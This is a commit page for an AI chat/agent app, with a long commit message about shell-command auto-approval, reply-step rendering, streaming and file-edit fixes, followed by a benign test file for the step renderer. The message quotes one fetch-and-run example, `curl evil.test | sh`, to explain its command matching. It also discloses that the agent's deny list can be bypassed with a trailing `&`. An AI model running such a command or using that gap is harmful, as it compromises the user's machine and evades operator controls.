A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
Jaroslav Beneš
@@ -0,0 +1,302 @@
|
||||
"""A reply as the sequence of steps it was.
|
||||
|
||||
The interesting cases are all about what a bubble does when the marks and the
|
||||
three stores disagree, because that is what an old row, a half-written persist
|
||||
and a hand-edited column all look like. None of them may throw: a transcript
|
||||
that renders in the wrong order is a nuisance, one that will not render is a
|
||||
page nobody can open.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from types import SimpleNamespace
|
||||
|
||||
from lembas.services import steps
|
||||
from lembas.services.markdown import open_fence
|
||||
|
||||
|
||||
def _message(*, content="", reasoning="", events=None, marks=None, error="", ms=0):
|
||||
return SimpleNamespace(
|
||||
id="m1",
|
||||
content=content,
|
||||
reasoning=reasoning,
|
||||
reasoning_ms=ms,
|
||||
error=error,
|
||||
tool_calls_json=list(events or []),
|
||||
steps_json=list(marks or []),
|
||||
)
|
||||
|
||||
|
||||
def _kinds(built):
|
||||
return [(step.index, step.kind) for step in built]
|
||||
|
||||
|
||||
# --- The compatibility layout --------------------------------------------------
|
||||
def test_a_reply_with_no_marks_reads_exactly_as_it_always_did():
|
||||
"""Every row written before the marks existed. Thinking, then every tool
|
||||
block, then the whole answer -- which is what those bubbles have shown since
|
||||
the beginning, and there is no version flag anywhere to say so."""
|
||||
built = steps.for_message(
|
||||
_message(content="the answer", reasoning="hmm", events=[{"name": "a"}, {"name": "b"}])
|
||||
)
|
||||
|
||||
assert _kinds(built) == [(0, "thinking"), (0, "tools"), (0, "text")]
|
||||
assert built[1].events == ({"name": "a"}, {"name": "b"})
|
||||
|
||||
|
||||
def test_a_new_reply_that_called_nothing_is_the_same_list():
|
||||
"""The one ambiguity in "no marks means the old layout", and it is harmless:
|
||||
with no tool blocks to sit between the prose, the old order and the new one
|
||||
are the same sequence."""
|
||||
built = steps.for_message(_message(content="hello", reasoning="hmm"))
|
||||
|
||||
assert _kinds(built) == [(0, "thinking"), (0, "text")]
|
||||
|
||||
|
||||
def test_a_failed_reply_does_not_show_its_thinking():
|
||||
built = steps.for_message(_message(content="", reasoning="hmm", error="boom"))
|
||||
|
||||
assert built == []
|
||||
|
||||
|
||||
# --- Interleaving --------------------------------------------------------------
|
||||
def test_prose_either_side_of_a_tool_call_renders_either_side_of_it():
|
||||
"""The whole point. This used to be one thinking block, then every tool
|
||||
block, then all the prose at the bottom -- fine on a two-round answer and
|
||||
unusable on a forty-round one."""
|
||||
built = steps.for_message(
|
||||
_message(
|
||||
content="Looking now. All fourteen pass.",
|
||||
reasoning="first thoughtsecond thought",
|
||||
events=[{"name": "shell_run"}],
|
||||
marks=[{"round": 0, "thinking_to": 13, "text_to": 12, "tools_to": 1}],
|
||||
)
|
||||
)
|
||||
|
||||
assert _kinds(built) == [
|
||||
(0, "thinking"),
|
||||
(0, "text"),
|
||||
(0, "tools"),
|
||||
(1, "thinking"),
|
||||
(1, "text"),
|
||||
]
|
||||
assert built[0].text == "first thought"
|
||||
assert "Looking now." in built[1].html
|
||||
assert built[3].text == "second thought"
|
||||
assert "fourteen pass" in built[4].html
|
||||
|
||||
|
||||
def test_thinking_is_sliced_per_round_and_the_column_stays_whole():
|
||||
"""A dozen thinking blocks in one bubble, each beside the command it led to,
|
||||
and `Message.reasoning` still the single string everything else reads."""
|
||||
message = _message(
|
||||
reasoning="round oneround two",
|
||||
content="",
|
||||
events=[{"name": "a"}],
|
||||
marks=[{"round": 0, "thinking_to": 9, "text_to": 0, "tools_to": 1}],
|
||||
)
|
||||
built = steps.for_message(message)
|
||||
|
||||
assert [s.text for s in built if s.kind == "thinking"] == ["round one", "round two"]
|
||||
assert message.reasoning == "round oneround two", "the column is untouched"
|
||||
|
||||
|
||||
def test_only_the_trailing_prose_is_marked_live():
|
||||
"""`--live` draws the caret, and a caret after every paragraph that happened
|
||||
to precede a tool call is not where the reply is being written."""
|
||||
built = steps.for_message(
|
||||
_message(
|
||||
content="before after",
|
||||
events=[{"name": "a"}],
|
||||
marks=[{"round": 0, "thinking_to": 0, "text_to": 6, "tools_to": 1}],
|
||||
)
|
||||
)
|
||||
|
||||
assert [s.open for s in built if s.kind == "text"] == [False, True]
|
||||
|
||||
|
||||
def test_a_step_with_nothing_in_it_produces_nothing():
|
||||
"""A round that only called a tool leaves no empty prose block behind it."""
|
||||
built = steps.for_message(
|
||||
_message(
|
||||
content="",
|
||||
events=[{"name": "a"}],
|
||||
marks=[{"round": 0, "thinking_to": 0, "text_to": 0, "tools_to": 1}],
|
||||
)
|
||||
)
|
||||
|
||||
assert _kinds(built) == [(0, "tools")]
|
||||
|
||||
|
||||
# --- Offsets that disagree with the stores -------------------------------------
|
||||
def test_offsets_past_the_end_are_clamped_rather_than_raising():
|
||||
built = steps.for_message(
|
||||
_message(
|
||||
content="short",
|
||||
reasoning="tiny",
|
||||
events=[{"name": "a"}],
|
||||
marks=[{"round": 0, "thinking_to": 9999, "text_to": 9999, "tools_to": 9999}],
|
||||
)
|
||||
)
|
||||
|
||||
assert "short" in built[1].html
|
||||
assert built[0].text == "tiny"
|
||||
|
||||
|
||||
def test_offsets_that_go_backwards_lose_nothing():
|
||||
"""A second mark earlier than the first would slice backwards and silently
|
||||
drop text. It comes out empty instead, and the tail still arrives."""
|
||||
built = steps.for_message(
|
||||
_message(
|
||||
content="one two three",
|
||||
marks=[
|
||||
{"round": 0, "thinking_to": 0, "text_to": 8, "tools_to": 0},
|
||||
{"round": 1, "thinking_to": 0, "text_to": 2, "tools_to": 0},
|
||||
],
|
||||
)
|
||||
)
|
||||
|
||||
assert "one two" in built[0].html
|
||||
assert "three" in built[-1].html
|
||||
|
||||
|
||||
def test_junk_in_the_column_does_not_stop_the_bubble_rendering():
|
||||
built = steps.for_message(
|
||||
_message(content="hello", marks=[{}, {"text_to": None}, {"text_to": "lots"}])
|
||||
)
|
||||
|
||||
assert any("hello" in step.html for step in built)
|
||||
|
||||
|
||||
def test_a_row_written_before_the_column_existed_reads_as_no_marks():
|
||||
message = _message(content="hello")
|
||||
message.steps_json = None
|
||||
|
||||
assert _kinds(steps.for_message(message)) == [(0, "text")]
|
||||
|
||||
|
||||
# --- Code fences across a tool call --------------------------------------------
|
||||
def test_a_fence_left_open_is_closed_and_reopened_around_the_tool_call():
|
||||
"""Splitting the markdown at a round boundary can leave a fence open, and
|
||||
markdown-it then runs it to the end of that segment and mispairs every later
|
||||
fence in the reply. Each piece closes its own and the next reopens it."""
|
||||
opened = "Here:\n```python\nx = 1\n"
|
||||
built = steps.for_message(
|
||||
_message(
|
||||
content=opened + "and the rest\n",
|
||||
events=[{"name": "a"}],
|
||||
marks=[{"round": 0, "thinking_to": 0, "text_to": len(opened), "tools_to": 1}],
|
||||
)
|
||||
)
|
||||
|
||||
first = next(s for s in built if s.kind == "text" and not s.open)
|
||||
last = next(s for s in built if s.kind == "text" and s.open)
|
||||
# `code-block`, not the literal source: the fence renderer highlights, so
|
||||
# `x = 1` comes back as a run of spans.
|
||||
assert "code-block" in first.html
|
||||
assert "rest" in last.html
|
||||
assert "code-block" in last.html, "the fence carries on rather than the prose becoming code"
|
||||
|
||||
|
||||
def test_the_carry_never_touches_the_stored_text():
|
||||
"""It is a rendering device. `build_messages`, titling and the copy button
|
||||
all read `message.content`, and it has to be what the model wrote."""
|
||||
text = "```python\nx = 1\nmore"
|
||||
message = _message(
|
||||
content=text,
|
||||
marks=[{"round": 0, "thinking_to": 0, "text_to": 16, "tools_to": 0}],
|
||||
)
|
||||
steps.for_message(message)
|
||||
|
||||
assert message.content == text
|
||||
|
||||
|
||||
def test_a_fence_closed_before_the_boundary_carries_nothing():
|
||||
text = "```py\nx\n```\ndone. more"
|
||||
built = steps.for_message(
|
||||
_message(
|
||||
content=text,
|
||||
marks=[{"round": 0, "thinking_to": 0, "text_to": 18, "tools_to": 0}],
|
||||
)
|
||||
)
|
||||
|
||||
assert "<pre" not in built[-1].html
|
||||
|
||||
|
||||
def test_open_fence_reads_the_common_shapes():
|
||||
assert open_fence("nothing here") == ("", "")
|
||||
assert open_fence("a\n```python\nx = 1") == ("```", "python")
|
||||
assert open_fence("a\n```python\nx = 1\n```\nb") == ("", "")
|
||||
assert open_fence("~~~js\nx") == ("~~~", "js")
|
||||
# A fence marker inside an open fence is text, not a closer: it carries an
|
||||
# info string, and a closer never does.
|
||||
assert open_fence("```\n```python inside\n") == ("```", "")
|
||||
|
||||
|
||||
# --- The live path -------------------------------------------------------------
|
||||
def _generation(**fields):
|
||||
from lembas.services import generation as generation_service
|
||||
|
||||
generation = generation_service.Generation(chat_id="c", message_id="m")
|
||||
for key, value in fields.items():
|
||||
setattr(generation, key, value)
|
||||
return generation
|
||||
|
||||
|
||||
def test_closed_from_returns_only_what_a_follower_has_not_seen():
|
||||
"""`_follow` keeps what it has rendered. A closed step never changes again,
|
||||
which is what stops a forty-round reply re-rendering its whole transcript
|
||||
twelve times a second -- the cost the old `tools` frame actually paid."""
|
||||
generation = _generation(
|
||||
content=["one ", "two "],
|
||||
tool_events=[{"name": "a"}, {"name": "b"}],
|
||||
steps=[
|
||||
{"round": 0, "thinking_to": 0, "text_to": 4, "tools_to": 1},
|
||||
{"round": 1, "thinking_to": 0, "text_to": 8, "tools_to": 2},
|
||||
],
|
||||
)
|
||||
|
||||
assert _kinds(steps.closed_from(generation, since=0)) == [
|
||||
(0, "text"),
|
||||
(0, "tools"),
|
||||
(1, "text"),
|
||||
(1, "tools"),
|
||||
]
|
||||
assert _kinds(steps.closed_from(generation, since=1)) == [(1, "text"), (1, "tools")]
|
||||
|
||||
|
||||
def test_closed_from_never_includes_the_step_still_being_written():
|
||||
generation = _generation(
|
||||
content=["done ", "still going"],
|
||||
steps=[{"round": 0, "thinking_to": 0, "text_to": 5, "tools_to": 0}],
|
||||
)
|
||||
|
||||
assert all("still going" not in step.html for step in steps.closed_from(generation, since=0))
|
||||
|
||||
|
||||
def test_the_tail_is_what_is_past_the_last_mark():
|
||||
generation = _generation(
|
||||
content=["closed ", "open"],
|
||||
reasoning=["thought ", "thinking"],
|
||||
steps=[{"round": 0, "thinking_to": 8, "text_to": 7, "tools_to": 0}],
|
||||
)
|
||||
|
||||
assert steps.tail(generation) == ("thinking", "open")
|
||||
|
||||
|
||||
def test_the_tail_reopens_a_fence_from_the_closed_part():
|
||||
"""Otherwise the code being written mid-reply stops looking like code the
|
||||
moment a round closes underneath it."""
|
||||
generation = _generation(
|
||||
content=["```python\n", "x = 1"],
|
||||
steps=[{"round": 0, "thinking_to": 0, "text_to": 10, "tools_to": 0}],
|
||||
)
|
||||
|
||||
_, text = steps.tail(generation)
|
||||
assert text.startswith("```python")
|
||||
|
||||
|
||||
def test_a_reply_with_no_marks_has_everything_in_its_tail():
|
||||
generation = _generation(content=["all of it"], reasoning=["thinking"])
|
||||
|
||||
assert steps.tail(generation) == ("thinking", "all of it")
|
||||
Reference in New Issue
Block a user